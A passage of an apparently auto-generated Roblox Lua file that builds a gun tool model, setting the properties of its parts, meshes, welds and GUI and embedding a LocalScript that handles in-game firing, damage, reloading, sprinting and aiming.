- Part39.Material = Enum.Material.SmoothPlastic
- Part39.BrickColor = BrickColor.new("Black")
- Part39.Reflectance = 0.20000000298023
- Part39.Rotation = Vector3.new(-90, 0, 0)
- Part39.Anchored = true
- Part39.FormFactor = Enum.FormFactor.Custom
- Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part39.CFrame = CFrame.new(34.4963379, 1.67197096, -12.1221924, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part39.BottomSurface = Enum.SurfaceType.Smooth
- Part39.TopSurface = Enum.SurfaceType.Smooth
- Part39.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part39.Position = Vector3.new(34.4963379, 1.67197096, -12.1221924)
- Part39.Orientation = Vector3.new(-90, 0, 0)
- Part39.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh40.Parent = Part39
- BlockMesh40.Scale = Vector3.new(0.259259313, 0.148148119, 0.111111082)
- BlockMesh40.Scale = Vector3.new(0.259259313, 0.148148119, 0.111111082)
- ManualWeld41.Name = "Part-to-AimPart Strong Joint"
- ManualWeld41.Parent = Part39
- ManualWeld41.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld41.C1 = CFrame.new(0.0999984741, -0.0999529362, -0.159261703, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
- ManualWeld41.Part0 = Part39
- ManualWeld41.Part1 = Part237
- Part42.Parent = Tool0
- Part42.Material = Enum.Material.SmoothPlastic
- Part42.BrickColor = BrickColor.new("Black")
- Part42.Reflectance = 0.20000000298023
- Part42.Rotation = Vector3.new(-90, 0, 0)
- Part42.Anchored = true
- Part42.FormFactor = Enum.FormFactor.Custom
- Part42.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part42.CFrame = CFrame.new(34.5629883, 1.67563403, -12.1740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part42.BottomSurface = Enum.SurfaceType.Smooth
- Part42.TopSurface = Enum.SurfaceType.Smooth
- Part42.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part42.Position = Vector3.new(34.5629883, 1.67563403, -12.1740723)
- Part42.Orientation = Vector3.new(-90, 0, 0)
- Part42.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh43.Parent = Part42
- BlockMesh43.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
- BlockMesh43.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
- ManualWeld44.Name = "Part-to-AimPart Strong Joint"
- ManualWeld44.Parent = Part42
- ManualWeld44.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld44.C1 = CFrame.new(0.0333480835, -0.0962898731, -0.107381821, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
- ManualWeld44.Part0 = Part42
- ManualWeld44.Part1 = Part237
- LocalScript45.Name = "Gun_Script"
- LocalScript45.Parent = Tool0
- table.insert(cors,sandbox(LocalScript45,function()
- wait(0.5)
- --Made by YouTubes--
- --Edit settings below--
- local Tool = script.Parent
- local Settings = {
- Range = 1000
- ,Spread = 7
- ,Damage = {40, 40}
- ,HeadShotDamage = {70, 120}
- ,Bullets = 1
- ,FireRate = 0.1
- ,Automatic = false
- ,AntiTK = true
- ,ImpactDuration = 3
- --Reload
- ,ReloadKey = "R"
- ,ReloadTime = 2.5
- ,Ammo = 30
- ,IncludeChamberedBullet = true
- --Gui
- ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
- --Arms
- ,OneHanded = false
- ,FakeArms = true
- ,FakeArmTransparency = 0
- ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
- ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
- ,AimPart = Tool.AimPart
- ,AimPartOffset = CFrame.new()
- ,AimGripOffset = Vector3.new(0, 0, 0)
- ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
- ,AimAnim = {
- Enabled = false
- ,Frames = 50
- ,Time = 0.1
- }
- ,ChangeFOV = {true, 60}
- ,SpreadReduction = 5
- --Weld
- ,Weld = true
- --Mouse
- ,Icons = {
- Idle = "rbxassetid://70288585"
- ,Fire1 = "rbxassetid://137983646"
- ,Fire2 = "rbxassetid://137983646"
- ,Fire3 = "rbxassetid://137983646"
- ,Reload = "rbxassetid://506273075"
- ,Aim = "rbxasset://textures/Blank.png"
- }
- ,FireMouseAnimTime = 0.15
- --Recoil
- ,Recoil = math.rad(1)
- --Smoke
- ,Smoke = true
- ,SmokePart = Tool.SmokePart
- ,Smokes = {{script.Smoke, 6, 0.2}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
- --Sprint
- ,Sprint = true
- ,SprintSpeed = 25
- ,SprintKey = "0"
- ,SprintSpreadIncrease = 40
- ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
- --Other
- ,DropHats = true
- }
- --Do not edit below this lign--
- local Orig_Spread = Settings.Spread
- local Orig_Grip = Tool.GripPos
- local Player = game.Players.LocalPlayer
- local Character = Player.Character
- local Camera = Workspace.CurrentCamera
- local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
- local Gui, CanUpdateGui = nil, true
- local Sprinting, Equipped
- function Update_Gui()
- if Gui and CanUpdateGui then
- Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
- end
- end
- local Welded
- if Settings.Weld then
- Delay(0, function()
- local weldC0s = {}
- for i, v in pairs(Tool:GetChildren()) do
- if v:IsA("BasePart") and v ~= Tool.Handle then
- table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
- v.Anchored = false
- end
- end
- Tool.Handle.Anchored = false
- local welds = {}
- Tool.Equipped:connect(function()
- for i, v in ipairs(welds) do
- v.Part1 = nil
- v:Destroy()
- end
- for i, v in ipairs(weldC0s) do
- if v[1] and v[2] then
- local w = Instance.new("Weld", Tool.Handle)
- w.Part0 = Tool.Handle
- w.Part1 = v[1]
- w.C0 = v[2]
- table.insert(welds, w)
- end
- end
- end)
- wait()
- Welded = true
- end)
- end
- local Left_Weld, Right_Weld
- Ammo.Changed:connect(Update_Gui)
- StoredAmmo.Changed:connect(Update_Gui)
- Settings.Range = math.min(Settings.Range, 999)
- local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
- Ignore_Model.Name = "Ray_Ignore"
- local Ray_Ignore = {Character, Ignore_Model, Camera}
- Character.Humanoid.Died:connect(function()
- Tool.Parent = Player.Backpack
- end)
- function Fire(Mouse)
- local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
- local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
- local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
- if Hit and Hit.Parent:FindFirstChild("Humanoid") then
- local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
- if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
- return
- end
- local Humanoid = Hit.Parent.Humanoid
- local c = Instance.new("ObjectValue")
- c.Name = "creator"
- c.Value = Player
- game.Debris:AddItem(c, 3)
- c.Parent = Humanoid
- if Hit.Name == "Head" then
- Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
- else
- Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
- end
- elseif Hit then
- local Hit_Part = Instance.new("Part", Ignore_Model)
- Hit_Part.FormFactor = "Custom"
- Hit_Part.TopSurface = 0
- Hit_Part.BottomSurface = 0
- Hit_Part.Anchored = true
- Hit_Part.CanCollide = false
- Hit_Part.Size = Vector3.new()
- Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
- Hit_Part.BrickColor = BrickColor.new("Black")
- game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
- if not Hit.Anchored then
- local w = Instance.new("Weld", Hit_Part)
- w.Part0 = Hit
- w.Part1 = Hit_Part
- w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
- Hit_Part.Anchored = false
- end
- if Hit.Parent:IsA("Hat") and Settings.DropHats then
- Hit.Parent.Parent = workspace
- game.Debris:AddItem(Hit, 3)
- end
- end
- end
- local Can_Shoot = true
- local Reloading = false
- local First_Person = false
- local Mouse_Held
- Tool.Equipped:connect(function(Mouse)
- Equipped = true
- if Settings.Weld and not Welded then
- wait()
- Tool.Parent = Player.Backpack
- end
- Character = Player.Character
- if Gui then
- return
- end
- Ray_Ignore = {Character, Ignore_Model, Camera}
- Mouse.Icon = Settings.Icons.Idle
- Gui = script.Gui:Clone()
- Gui.Parent = Player.PlayerGui
- Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
- Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
- CanUpdateGui = true
- Update_Gui()
- Mouse.Button1Down:connect(function()
- if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
- Mouse_Held = true
- while true do
- Can_Shoot = false
- Delay(0, function()
- local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
- if not Aiming then
- Mouse.Icon = Settings.Icons.Fire1
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Fire2
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Fire3
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Idle
- end
- end)
- if Settings.Smoke then
- for i, v in pairs(Settings.Smokes) do
- local s = v[1]:Clone()
- s.Parent = Settings.SmokePart
- s.Enabled = true
- game.Debris:AddItem(s, v[2])
- if v[3] then
- Delay(v[3], function()
- s.Enabled = false
- end)
- end
- end
- end
- for _ = 1, Settings.Bullets do
- pcall(function() Fire(Mouse) end)
- end
- Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
- if Tool.Handle:FindFirstChild("Shoot") then
- Tool.Handle.Shoot:Play()
- end
- Ammo.Value = Ammo.Value - 1
- wait(Settings.FireRate)
- if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
- break
- end
- end
- Can_Shoot = true
- elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
- Tool.Handle.Click:Play()
- end
- end)
- Mouse.Button1Up:connect(function()
- Mouse_Held = false
- end)
- Mouse.KeyDown:connect(function(Key)
- if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
- if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
- return
- end
- Can_Shoot = false
- Reloading = true
- local TextLabel = Gui.Frame.AmmoDisplay
- Delay(0, function()
- CanUpdateGui = false
- TextLabel.Text = "Reloading."
- wait(Settings.ReloadTime/3)
- if TextLabel then
- TextLabel.Text = "Reloading.."
- end
- wait(Settings.ReloadTime/3)
- if TextLabel then
- TextLabel.Text = "Reloading..."
- end
- end)
- if Tool.Handle:FindFirstChild("Reload") then
- Tool.Handle.Reload:Play()
- end
- Mouse.Icon = Settings.Icons.Reload
- wait(Settings.ReloadTime)
- Mouse.Icon = Settings.Icons.Idle
- CanUpdateGui = true
- local m = Settings.Ammo
- if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
- m = m + 1
- end
- if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
- Ammo.Value = Ammo.Value + StoredAmmo.Value
- StoredAmmo.Value = 0
- else
- StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
- Ammo.Value = m
- end
- Can_Shoot = true
- Reloading = false
- elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
- Sprinting = true
- Character.Humanoid.WalkSpeed = Settings.SprintSpeed
- Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
- end
- end)
- Mouse.KeyUp:connect(function(Key)
- if Key:upper() == Settings.SprintKey:upper() and Sprinting then
- Sprinting = false
- Character.Humanoid.WalkSpeed = 16
- Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- end
- end)
- Mouse.Button2Down:connect(function()
- if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
- Aiming = true
- Mouse.Icon = Settings.Icons.Aim
- Right_Weld.C1 = CFrame.new()
- Right_Weld.C0 = CFrame.new()
- Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
- Left_Weld.C1 = Settings.LeftAimPos
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = Settings.ChangeFOV[2]
- end
- Tool.GripPos = Orig_Grip + Settings.AimGripOffset
- Settings.Spread = Settings.Spread - Settings.SpreadReduction
- end
- end)
- Mouse.Button2Up:connect(function()
- if Aiming then
- Mouse.Icon = Settings.Icons.Idle
- Tool.GripPos = Orig_Grip
- Right_Weld.C1 = Settings.RightPos
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- Left_Weld.C1 = Settings.LeftPos
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = 70
- end
- Settings.Spread = Settings.Spread + Settings.SpreadReduction
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- wait(0.25)
- Aiming = false
- end
- end)
- wait()
- Camera.Changed:connect(function()
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
- Mouse.TargetFilter = workspace
- Character.Torso.Neck.C1 = CFrame.new()
- Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
- end
- end)
- Mouse.Idle:connect(function()
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
- Mouse.TargetFilter = workspace
- Character.Torso.Neck.C1 = CFrame.new()
- Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
- end
- end)
- while wait() and Equipped do
- if Sprinting then
- Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
- Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
- elseif not Aiming then
- Left_Weld.C0 = CFrame.new(0, -1.5, 0)
- end
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
- Mouse.TargetFilter = nil
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- end
- end
- end)
- local Arms_Made
- local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
- Tool.Equipped:connect(function(Mouse)
- if Character and not Arms_Made then
- Arms_Made = true
- local Torso = Character.Torso
- Torso["Right Shoulder"].Part1 = nil
- Left_Weld = Instance.new("Weld", Torso)
- Left_Weld.Name = "Left_Weld"
- Left_Weld.Part0 = Character.Head
- Left_Weld.C0 = CFrame.new(0, -1.5, 0)
- if not Settings.OneHanded then
- Torso["Left Shoulder"].Part1 = nil
- Left_Weld.Part1 = Character["Left Arm"]
- end
- Right_Weld = Instance.new("Weld", Torso)
- Right_Weld.Name = "Right_Weld"
- Right_Weld.Part0 = Character.Head
- Right_Weld.Part1 = Character["Right Arm"]
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- Left_Weld.C1 = Settings.LeftPos
- Right_Weld.C1 = Settings.RightPos
- end
- if Settings.FakeArms and not Fake_Arm_Right then
- Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
- Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
- Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
- local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
- for i = 1, 2 do
- local w = Instance.new("Weld", fakeArms[i])
- w.Part0 = Character[fakeArms[i].Name]
- w.Part1 = fakeArms[i]
- fakeArms[i].Transparency = Settings.FakeArmTransparency
- end
- Fake_Arm_Model = Instance.new("Model", Camera)
- Fake_Arm_Right.Parent = Fake_Arm_Model
- if not Settings.OneHanded then
- Fake_Arm_Left.Parent = Fake_Arm_Model
- end
- Fake_Arm_Model.Name = "FakeArms"
- if Settings.CharacterMeshes then
- for i, v in pairs(Character:GetChildren()) do
- if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
- v:Clone().Parent = Fake_Arm_Model
- end
- end
- end
- if Character:FindFirstChild("Shirt") then
- Instance.new("Humanoid", Fake_Arm_Model)
- Character.Shirt:Clone().Parent = Fake_Arm_Model
- else
- local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
- Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
- local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
- Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
- end
- end
- end)
- Tool.Unequipped:connect(function()
- Equipped = false
- Tool.GripPos = Orig_Grip
- Aiming = false
- Settings.Spread = Orig_Spread
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = 70
- end
- if Gui then
- Gui:Destroy()
- Gui = nil
- end
- for i, v in pairs(Tool.Handle:GetChildren()) do
- if v:IsA("Sound") then
- v:Stop()
- end
- end
- if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
- Fake_Arm_Model:Destroy()
- Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
- end
- if Character and Left_Weld and Right_Weld then
- Arms_Made = false
- local Torso = Character.Torso
- Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
- Left_Weld:Destroy()
- Right_Weld:Destroy()
- end
- Sprinting = false
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Humanoid.WalkSpeed = 16
- end)
- end))
- NumberValue46.Name = "Ammo"
- NumberValue46.Parent = LocalScript45
- NumberValue46.Value = 31
- NumberValue47.Name = "StoredAmmo"
- NumberValue47.Parent = LocalScript45
- NumberValue47.Value = 400
- PointLight48.Name = "Flash"
- PointLight48.Parent = LocalScript45
- PointLight48.Color = Color3.new(0.772549, 0.384314, 0)
- PointLight48.Brightness = 10
- PointLight48.Range = 10
- PointLight48.Shadows = true
- PointLight48.Color = Color3.new(0.772549, 0.384314, 0)
- Smoke49.Parent = LocalScript45
- Smoke49.Size = 0.25
- Smoke49.Color = Color3.new(0.372549, 0.372549, 0.372549)
- Smoke49.Enabled = false
- Smoke49.Opacity = 0.25999999046326
- Smoke49.RiseVelocity = 4
- Smoke49.Color = Color3.new(0.372549, 0.372549, 0.372549)
- Smoke50.Name = "Smoke1"
- Smoke50.Parent = LocalScript45
- Smoke50.Size = 0.10000000149012
- Smoke50.Color = Color3.new(1, 0.6, 0.2)
- Smoke50.Enabled = false
- Smoke50.Opacity = 0.40000000596046
- Smoke50.Color = Color3.new(1, 0.6, 0.2)
- ScreenGui51.Name = "Gui"
- ScreenGui51.Parent = LocalScript45
- Frame52.Parent = ScreenGui51
- Frame52.Transparency = 0.5
- Frame52.Size = UDim2.new(0, 120, 0, 35)
- Frame52.Position = UDim2.new(1, -150, 1, -44)
- Frame52.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame52.BackgroundTransparency = 0.5
- Frame52.BorderSizePixel = 3
- TextLabel53.Name = "AmmoDisplay"
- TextLabel53.Parent = Frame52
- TextLabel53.Transparency = 1
- TextLabel53.Size = UDim2.new(1, 0, 1, 0)
- TextLabel53.Text = ""
- TextLabel53.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel53.BackgroundTransparency = 1
- TextLabel53.Font = Enum.Font.SourceSansBold
- TextLabel53.FontSize = Enum.FontSize.Size24
- TextLabel53.TextColor3 = Color3.new(0, 0, 0)
- TextLabel53.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel53.TextStrokeTransparency = 0.5
- TextLabel53.TextXAlignment = Enum.TextXAlignment.Right
- Frame54.Parent = ScreenGui51
- Frame54.Transparency = 0.5
- Frame54.Size = UDim2.new(0, 126, 0, 10)
- Frame54.Position = UDim2.new(1, -153, 1, -62)
- Frame54.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame54.BackgroundTransparency = 0.5
- Frame54.BorderSizePixel = 3
- TextLabel55.Name = "Caliber"
- TextLabel55.Parent = Frame54
- TextLabel55.Transparency = 1
- TextLabel55.Size = UDim2.new(1, 0, 1, 0)
- TextLabel55.Text = "6.5mm"
- TextLabel55.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel55.BackgroundTransparency = 1
- TextLabel55.Font = Enum.Font.SourceSansBold
- TextLabel55.FontSize = Enum.FontSize.Size12
- TextLabel55.TextColor3 = Color3.new(0, 0, 0)
- TextLabel55.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel55.TextStrokeTransparency = 0.5
- TextLabel55.TextXAlignment = Enum.TextXAlignment.Right
- Frame56.Parent = ScreenGui51
- Frame56.Transparency = 0.5
- Frame56.Size = UDim2.new(0, 126, 0, 40)
- Frame56.Position = UDim2.new(1, -153, 1, -109)
- Frame56.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame56.BackgroundTransparency = 0.5
- Frame56.BorderSizePixel = 3
- TextLabel57.Name = "Accessories"
- TextLabel57.Parent = Frame56
- TextLabel57.Transparency = 1
- TextLabel57.Size = UDim2.new(1, 0, 1, 0)
- TextLabel57.Text = "MX"
- TextLabel57.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel57.BackgroundTransparency = 1
- TextLabel57.Font = Enum.Font.SourceSansBold
- TextLabel57.FontSize = Enum.FontSize.Size14
- TextLabel57.TextColor3 = Color3.new(0, 0, 0)
- TextLabel57.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel57.TextStrokeTransparency = 0.5
- TextLabel57.TextXAlignment = Enum.TextXAlignment.Right
- TextLabel58.Parent = ScreenGui51
- TextLabel58.Transparency = 50
- TextLabel58.Size = UDim2.new(0, 200, 0, 50)
- TextLabel58.Text = "Made by 1ndrew"
- TextLabel58.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel58.BackgroundTransparency = 50
- TextLabel58.BorderColor3 = Color3.new(1, 1, 1)
- TextLabel58.Font = Enum.Font.SourceSans
- TextLabel58.FontSize = Enum.FontSize.Size14
- TextLabel58.TextColor3 = Color3.new(0, 0, 1)
- Part59.Parent = Tool0
- Part59.Material = Enum.Material.SmoothPlastic
- Part59.BrickColor = BrickColor.new("Black")
- Part59.Anchored = true
- Part59.FormFactor = Enum.FormFactor.Custom
- Part59.Size = Vector3.new(0.200000003, 0.200000003, 0.392593354)
- Part59.CFrame = CFrame.new(34.5, 1.39414203, -12.7666616, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part59.BottomSurface = Enum.SurfaceType.Smooth
- Part59.TopSurface = Enum.SurfaceType.Smooth
- Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part59.Position = Vector3.new(34.5, 1.39414203, -12.7666616)
- Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh60.Parent = Part59
- BlockMesh60.Scale = Vector3.new(0.814815104, 0.77777797, 1)
- BlockMesh60.Scale = Vector3.new(0.814815104, 0.77777797, 1)
- Part61.Parent = Tool0
- Part61.Material = Enum.Material.SmoothPlastic
- Part61.BrickColor = BrickColor.new("Black")
- Part61.Reflectance = 0.20000000298023
- Part61.Rotation = Vector3.new(0, 0, 180)
- Part61.Anchored = true
- Part61.FormFactor = Enum.FormFactor.Custom
- Part61.Size = Vector3.new(0.207407504, 0.200000003, 0.200000003)
- Part61.CFrame = CFrame.new(34.5, 1.48300803, -13.3888435, -1, -0, 0, -0, -1, 4.37113883e-08, -0, -0, 1)
- Part61.BottomSurface = Enum.SurfaceType.Smooth
- Part61.TopSurface = Enum.SurfaceType.Smooth
- Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part61.Position = Vector3.new(34.5, 1.48300803, -13.3888435)
- Part61.Orientation = Vector3.new(0, 0, -180)
- Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh62.Parent = Part61
- SpecialMesh62.Scale = Vector3.new(1, 0.777777731, 0.77777797)
- SpecialMesh62.MeshType = Enum.MeshType.Wedge
- SpecialMesh62.Scale = Vector3.new(1, 0.777777731, 0.77777797)
- Part63.Parent = Tool0
- Part63.Material = Enum.Material.SmoothPlastic
- Part63.BrickColor = BrickColor.new("Black")
- Part63.Rotation = Vector3.new(90, 0, -180)
- Part63.Anchored = true
- Part63.FormFactor = Enum.FormFactor.Custom
- Part63.Size = Vector3.new(0.200000003, 0.511111021, 0.200000003)
- Part63.CFrame = CFrame.new(34.3408203, 1.957129, -11.2777596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part63.BottomSurface = Enum.SurfaceType.Smooth
- Part63.TopSurface = Enum.SurfaceType.Smooth
- Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part63.Position = Vector3.new(34.3408203, 1.957129, -11.2777596)
- Part63.Orientation = Vector3.new(90, 180, 0)
- Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh64.Parent = Part63
- CylinderMesh64.Scale = Vector3.new(0.70370388, 1, 0.592592716)
- CylinderMesh64.Scale = Vector3.new(0.70370388, 1, 0.592592716)
- Part65.Parent = Tool0
- Part65.Material = Enum.Material.SmoothPlastic
- Part65.BrickColor = BrickColor.new("Black")
- Part65.Rotation = Vector3.new(180, 0, 45)
- Part65.Anchored = true
- Part65.FormFactor = Enum.FormFactor.Custom
- Part65.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part65.CFrame = CFrame.new(34.4628906, 1.86215794, -11.2036743, 0.70710665, -0.70710659, -0, -0.70710659, -0.70710665, -0, 0, -0, -1)
- Part65.BottomSurface = Enum.SurfaceType.Smooth
- Part65.TopSurface = Enum.SurfaceType.Smooth
- Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part65.Position = Vector3.new(34.4628906, 1.86215794, -11.2036743)
- Part65.Orientation = Vector3.new(0, -180, -135)
- Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh66.Parent = Part65
- BlockMesh66.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
- BlockMesh66.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
- Part67.Parent = Tool0
- Part67.Material = Enum.Material.SmoothPlastic
- Part67.BrickColor = BrickColor.new("Black")
- Part67.Rotation = Vector3.new(180, 0, 45)
- Part67.Anchored = true
- Part67.FormFactor = Enum.FormFactor.Custom
- Part67.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part67.CFrame = CFrame.new(34.4655762, 1.87509596, -11.2036743, 0.70710665, -0.70710659, -0, -0.70710659, -0.70710665, -0, 0, -0, -1)
- Part67.BottomSurface = Enum.SurfaceType.Smooth
- Part67.TopSurface = Enum.SurfaceType.Smooth
- Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part67.Position = Vector3.new(34.4655762, 1.87509596, -11.2036743)
- Part67.Orientation = Vector3.new(0, -180, -135)
- Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh68.Parent = Part67
- BlockMesh68.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
- BlockMesh68.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
- Part69.Parent = Tool0
